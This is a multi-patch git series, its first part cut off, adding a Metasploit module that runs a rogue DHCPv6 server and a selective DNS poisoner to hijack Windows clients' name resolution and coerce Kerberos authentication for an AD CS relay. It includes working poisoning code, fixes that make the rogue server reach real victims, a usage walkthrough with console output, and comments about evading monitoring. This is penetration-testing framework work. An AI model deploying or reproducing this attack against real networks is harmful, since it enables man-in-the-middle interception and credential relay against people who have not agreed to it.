= 'dead:beef::53' + mod.service = dns_service + end + + def query_bytes(name, type) + Dnsruby::Message.new(name, type).encode + end + + def captured_response + captured = nil + allow(dns_service).to receive(:send_response) { |_cli, data| captured = data } + yield + Rex::Proto::DNS::Packet.encode_drb(captured) + end + + describe '#on_dispatch_request' do + it 'poisons an in-scope AAAA query with the spoof address' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + aaaa = resp.answer.find { |rr| rr.type == 'AAAA' } + expect(aaaa).not_to be_nil + expect(aaaa.address.to_s.downcase).to eq('dead:beef::53') + expect(resp.header.qr).to be(true) + end + + it 'poisons arbitrary subdomains under the target domain (wildcard)' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('anything.sub.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + end + + it 'answers with a CNAME when RELAY_CNAME is set' do + mod.datastore['RELAY_CNAME'] = 'evil.kerberos.issue' + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + cname = resp.answer.find { |rr| rr.type == 'CNAME' } + expect(cname).not_to be_nil + expect(cname.domainname.to_s.chomp('.')).to eq('evil.kerberos.issue') + end + + it 'only poisons the listed hosts when TARGET_HOSTS is set' do + mod.datastore['TARGET_HOSTS'] = 'dc1.kerberos.issue' + allow(dns_service).to receive(:default_dispatch_request) + + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + + # A different in-domain host is out of scope now, so it is forwarded. + expect(dns_service).to receive(:default_dispatch_request) + mod.on_dispatch_request(cli, query_bytes('other.kerberos.issue', 'AAAA')) + end + + it 'forwards out-of-scope queries to the default handler instead of poisoning' do + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) + end + end + + describe '#run validation' do + it 'rejects a non-IPv6 SPOOF_IP6' do + mod.datastore['SPOOF_IP6'] = '10.0.0.1' + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) + end + end +end From e27e63a39c40fd37527824a769452882b13800a9 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 17 Jul 2026 00:06:44 +0530 Subject: [PATCH 2/6] Fix DHCPv6 rogue server multicast join and reply addressing Two defects found while validating the rogue DHCPv6 server against a live client on the lab network: - The multicast group join packed the interface index in network byte order, so on little-endian hosts the kernel joined on interface 0 and the server never received the multicast Solicit. Pack it in native byte order to match struct ipv6_mreq. - The client address was read assuming recvfrom always returns an address array, but older rex-socket versions return the host string directly, so the reply went to a malformed destination. Handle both shapes. With these fixes a cross-host Solicit is answered with an Advertise addressed correctly to the client on udp/546, handing out the attacker as the DNS server. --- lib/rex/proto/dhcpv6/server.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/dhcpv6/server.rb b/lib/rex/proto/dhcpv6/server.rb index 90bf3621223d1..3580929ca3842 100644 --- a/lib/rex/proto/dhcpv6/server.rb +++ b/lib/rex/proto/dhcpv6/server.rb @@ -116,7 +116,10 @@ def monitor_socket buf, addr = sock.recvfrom(65535) next if buf.nil? || buf.empty? - client_host = addr[3] + # recvfrom's sender info has varied across rex-socket versions: newer + # returns [af, port, host, host], older returns the host string + # directly. Handle both so the reply reaches the real client. + client_host = addr.is_a?(::Array) ? addr[3] : addr result = handle_request(buf) next if result.nil? @@ -133,7 +136,10 @@ def monitor_socket def join_multicast_group group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS) ifindex = interface_index - sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('N')) + # struct ipv6_mreq = 16-byte multicast address + native-order interface + # index; the index must be packed in the host's byte order, not network + # order, or the kernel joins on the wrong (usually zero) interface. + sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('L')) rescue StandardError => e elog('Failed to join DHCPv6 multicast group', error: e) end From 8ad42b84fe4be78474866dd62f9c691365bd620d Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 17 Jul 2026 13:26:09 +0530 Subject: [PATCH 3/6] Extract shared DNS name-poisoning mixin Move the selective DNS poisoning behaviour out of the DHCPv6 DNS takeover module into a reusable DNS::NamePoisoner mixin (TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6, RELAY_CNAME plus the on_dispatch_request poison/forward logic and the IPv6 validation helper), so the upcoming Router Advertisement takeover module can share the exact same coercion behaviour instead of duplicating it. The DHCPv6 module now just includes the mixin and keeps its DHCPv6-specific options and server wiring. No behaviour change; its spec is unchanged and green. --- .../core/exploit/remote/dns/name_poisoner.rb | 113 ++++++++++++++++++ .../spoof/dhcp/dhcpv6_dns_takeover.rb | 82 +------------ 2 files changed, 116 insertions(+), 79 deletions(-) create mode 100644 lib/msf/core/exploit/remote/dns/name_poisoner.rb diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb new file mode 100644 index 0000000000000..d3ea03bb3c564 --- /dev/null +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This mixin adds selective DNS name poisoning on top of Exploit::Remote::DNS::Server. +# +# A module that also includes DNS::Server can mix this in to answer lookups for +# names under a target scope with the attacker's address (or a CNAME), while +# transparently forwarding every out-of-scope query so the victim stays +# functional. It is the shared coercion behaviour behind the IPv6 DNS-takeover +# modules (rogue DHCPv6 and rogue Router Advertisement), paired with a Kerberos +# relay target such as ESC8 AD CS web enrollment (CVE-2026-20929). +# +### +module Exploit::Remote::DNS +module NamePoisoner + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), + OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), + OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), + OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]) + ], Exploit::Remote::DNS::NamePoisoner + ) + end + + # Poison lookups that fall under the target scope; forward everything else so + # the victim keeps working (and so we do not tip off monitoring by breaking + # unrelated name resolution). + def on_dispatch_request(cli, data) + return if data.strip.empty? + + req = Rex::Proto::DNS::Packet.encode_drb(data) + peer = "#{cli.peerhost}:#{cli.peerport}" + + poisoned = false + req.question.each do |question| + answers = poison_answers_for(question) + next if answers.empty? + + answers.each { |rr| req.add_answer(rr) } + poisoned = true + print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") + end + + unless poisoned + # Not in scope: fall back to the default cache/forward behaviour. + return service.default_dispatch_request(cli, data) + end + + req.header.qr = true + req.header.ra = true + service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode) + end + + # Human-readable description of what poisoned names resolve to. + def poison_description + datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] + end + + # Fail the module unless +address+ is a valid IPv6 address. + def validate_ipv6!(address, name) + return if Rex::Socket.is_ipv6?(address.to_s) + + fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address") + end + + private + + def poison_answers_for(question) + name = question.qname.to_s.chomp('.').downcase + return [] unless in_scope?(name) + + qtype = question.qtype.to_s + if datastore['RELAY_CNAME'].present? + # Steer the victim onto a name whose SPN the attacker will relay for. + return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] + end + + case qtype + when 'AAAA' + [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] + when 'A' + # Only answer A records if an IPv4 spoof address is meaningful; otherwise + # returning nothing lets the client prefer the AAAA answer we control. + Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] + else + [] + end + end + + def in_scope?(name) + if datastore['TARGET_HOSTS'].present? + target_hosts.include?(name) + else + domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') + name == domain || name.end_with?(".#{domain}") + end + end + + def target_hosts + @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) + end + +end +end +end diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb index 887d8f41e62ba..86d56d68437de 100644 --- a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DNS::Client include Msf::Exploit::Remote::DNS::Server + include Msf::Exploit::Remote::DNS::NamePoisoner include Msf::Auxiliary::Report def initialize(info = {}) @@ -51,12 +52,10 @@ def initialize(info = {}) ) ) + # TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6 and RELAY_CNAME come from the shared + # DNS::NamePoisoner mixin. register_options( [ - OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), - OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), - OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), - OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]), OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) ] @@ -84,73 +83,8 @@ def cleanup @dhcpv6_server = nil end - # Poison lookups that fall under the target scope; forward everything else so - # the victim keeps working (and so we do not tip off monitoring by breaking - # unrelated name resolution). - def on_dispatch_request(cli, data) - return if data.strip.empty? - - req = Packet.encode_drb(data) - peer = "#{cli.peerhost}:#{cli.peerport}" - - poisoned = false - req.question.each do |question| - answers = poison_answers_for(question) - next if answers.empty? - - answers.each { |rr| req.add_answer(rr) } - poisoned = true - print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") - end - - unless poisoned - # Not in scope: fall back to the default cache/forward behaviour. - return service.default_dispatch_request(cli, data) - end - - req.header.qr = true - req.header.ra = true - service.send_response(cli, Packet.validate(req).encode) - end - private - def poison_answers_for(question) - name = question.qname.to_s.chomp('.').downcase - return [] unless in_scope?(name) - - qtype = question.qtype.to_s - if datastore['RELAY_CNAME'].present? - # Steer the victim onto a name whose SPN the attacker will relay for. - return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] - end - - case qtype - when 'AAAA' - [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] - when 'A' - # Only answer A records if an IPv4 spoof address is meaningful; otherwise - # returning nothing lets the client prefer the AAAA answer we control. - srvhost = datastore['SRVHOST'] - Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] - else - [] - end - end - - def in_scope?(name) - if datastore['TARGET_HOSTS'].present? - target_hosts.include?(name) - else - domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') - name == domain || name.end_with?(".#{domain}") - end - end - - def target_hosts - @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) - end - def start_dhcpv6_server @dhcpv6_server = Rex::Proto::DHCPv6::Server.new( dns_servers: [datastore['SPOOF_IP6']], @@ -165,19 +99,9 @@ def start_dhcpv6_server @dhcpv6_server.start end - def poison_description - datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] - end - def dhcpv6_message_name(msg_type) Rex::Proto::DHCPv6::Constants::MessageType.constants.find do |c| Rex::Proto::DHCPv6::Constants::MessageType.const_get(c) == msg_type end || msg_type end - - def validate_ipv6!(address, name) - return if Rex::Socket.is_ipv6?(address.to_s) - - fail_with(Failure::BadConfig, "#{name} must be a valid IPv6 address") - end end From e839b1684acc1f3a92b91ad410d820eedb3a7504 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 23 Jul 2026 15:19:36 +0530 Subject: [PATCH 4/6] Document dhcpv6_dns_takeover module --- .../spoof/dhcp/dhcpv6_dns_takeover.md | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md diff --git a/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md new file mode 100644 index 0000000000000..2cebd96a832d7 --- /dev/null +++ b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +This module runs a rogue DHCPv6 server that hands the attacker to IPv6 clients +as their DNS server (the classic mitm6 primitive), together with a paired DNS +server that poisons names under a target domain to point at the attacker while +transparently forwarding every other lookup so the victim stays functional. + +Windows prefers IPv6 over IPv4 and, by default, sends periodic DHCPv6 solicits. +By answering those solicits and advertising the attacker as the client's DNS +server, the module intercepts the victim's name resolution even on an IPv4-only +network. Once the victim resolves a target service through the attacker it can +be coerced into authenticating to the attacker. + +Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`, +this is the native coercion half of the Kerberos relay via DNS technique +(CVE-2026-20929), removing the dependency on external tooling such as mitm6. Set +`RELAY_CNAME` to steer the victim onto a name whose SPN the relay module will +present to the CA. + +This module requires root/administrator privileges to bind the DHCPv6 port +(UDP/547) and join the DHCPv6 multicast group, and Layer 2 adjacency to the +victim. + +## Verification Steps + +1. Start `msfconsole` as root +1. Do: `use auxiliary/spoof/dhcp/dhcpv6_dns_takeover` +1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept +1. Set `SPOOF_IP6` to the attacker's IPv6 address +1. Do: `run` +1. Observe DHCPv6 solicits being answered and in-scope DNS queries being poisoned + +## Options + +### TARGET_DOMAIN + +The DNS domain to intercept. Names at or under this domain are poisoned; every +other lookup is transparently forwarded. Required. + +### TARGET_HOSTS + +An optional space or semicolon separated list of specific FQDNs to poison. When +set, only these exact names are poisoned and all other names (including other +names under `TARGET_DOMAIN`) are forwarded. + +### SPOOF_IP6 + +The attacker's IPv6 address. It is handed to clients as their DNS server and is +returned as the `AAAA` answer for poisoned names. Required. + +### RELAY_CNAME + +If set, poisoned names are answered with a `CNAME` to this name instead of a +direct address. This is the DNS-CNAME trick used for Kerberos relay: the victim +follows the CNAME to a name whose SPN the relay module presents to the target, +while the Kerberos ticket is still issued for the original service. + +### LEASE_IP6 + +An optional IPv6 address to lease to clients that make a stateful (IA_NA) +request. Not required for DNS takeover. + +### DHCPV6_INTERFACE + +The network interface to bind the DHCPv6 server and join the multicast group on. +Defaults to the primary interface. + +## Scenarios + +### mitm6-style DNS takeover feeding a Kerberos ESC8 relay + +Terminal 1 - start the coercion: + +``` +msf > use auxiliary/spoof/dhcp/dhcpv6_dns_takeover +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run +[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com +[*] DHCPv6 server started, advertising dead:beef::5 as the DNS server +[*] DHCPv6 SOLICIT from fe80::... answered with DNS dead:beef::5 +[+] Poisoned ca.ad.example.com (AAAA) for fe80::... -> CNAME attacker.ad.example.com +``` + +Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is +relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`). + +## Notes + +* Requires root/administrator and Layer 2 adjacency; DHCPv6 messages are not + routable. +* This is the DHCPv6 coercion primitive. `auxiliary/spoof/ipv6/ipv6_ra_dns_takeover` + is the Router Advertisement (RDNSS) equivalent; use whichever the target + network responds to. +* Out-of-scope lookups are forwarded unchanged, so the victim keeps working and + monitoring is less likely to notice broken name resolution. From eced0a29d3b9f26cef44c11483b03db277b1d54c Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 21 Aug 2026 01:33:14 +0530 Subject: [PATCH 5/6] Use Rex::Socket.to_authority for the poisoned-query peer log name_poisoner.rb built the logged peer as a bare "#{host}:#{port}" string, which is ambiguous for IPv6 clients (colon-separated) and goes against the framework convention of using Rex::Socket.to_authority, which brackets IPv6 hosts. Copilot flagged this on #21725, which stacks on this branch and shares this file; porting the same fix here so both branches carry it independently of the eventual rebase. --- lib/msf/core/exploit/remote/dns/name_poisoner.rb | 2 +- .../auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb index d3ea03bb3c564..d869ac1432ae3 100644 --- a/lib/msf/core/exploit/remote/dns/name_poisoner.rb +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -37,7 +37,7 @@ def on_dispatch_request(cli, data) return if data.strip.empty? req = Rex::Proto::DNS::Packet.encode_drb(data) - peer = "#{cli.peerhost}:#{cli.peerport}" + peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport) poisoned = false req.question.each do |question| diff --git a/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb index b2566fcc16fc4..4b28eba4b08f9 100644 --- a/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb +++ b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb @@ -39,6 +39,13 @@ def captured_response expect(resp.header.qr).to be(true) end + it 'logs the peer as an IPv6-safe bracketed authority, not a bare host:port' do + ipv6_cli = double('cli', peerhost: 'fe80::5', peerport: 546) + allow(dns_service).to receive(:send_response) + expect(mod).to receive(:print_good).with(a_string_matching(/\[fe80::5\]:546/)) + mod.on_dispatch_request(ipv6_cli, query_bytes('dc1.kerberos.issue', 'AAAA')) + end + it 'poisons arbitrary subdomains under the target domain (wildcard)' do resp = captured_response { mod.on_dispatch_request(cli, query_bytes('anything.sub.kerberos.issue', 'AAAA')) } expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) From c186528d488f1ab0bf974dc4658b529f9dbf0e46 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 28 Aug 2026 21:13:58 +0530 Subject: [PATCH 6/6] Default SRVHOST to :: so the DNS server hears IPv6 queries The module hands the victim SPOOF_IP6 (an IPv6 address) as its resolver, but the DNS listener was binding SRVHOST, which defaulted to 0.0.0.0 (the IPv4 wildcard) because the base socket_server default won the option-registration order over the NamePoisoner mixin's :: default. A socket bound to 0.0.0.0 cannot receive the victim's IPv6 DNS queries, so the takeover would silently do nothing on a dual-stack segment. Register SRVHOST in the module with a :: default so it binds dual-stack, matching the sibling ipv6_ra_dns_takeover module. --- modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb index 86d56d68437de..20cfcd6d88588 100644 --- a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -56,6 +56,10 @@ def initialize(info = {}) # DNS::NamePoisoner mixin. register_options( [ + # Bind the DNS server dual-stack by default. The victim is handed SPOOF_IP6 (an + # IPv6 address) as its resolver, so a listener on 0.0.0.0 (IPv4 wildcard) would + # never receive its queries. This matches the sibling ipv6_ra_dns_takeover module. + OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]), OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) ]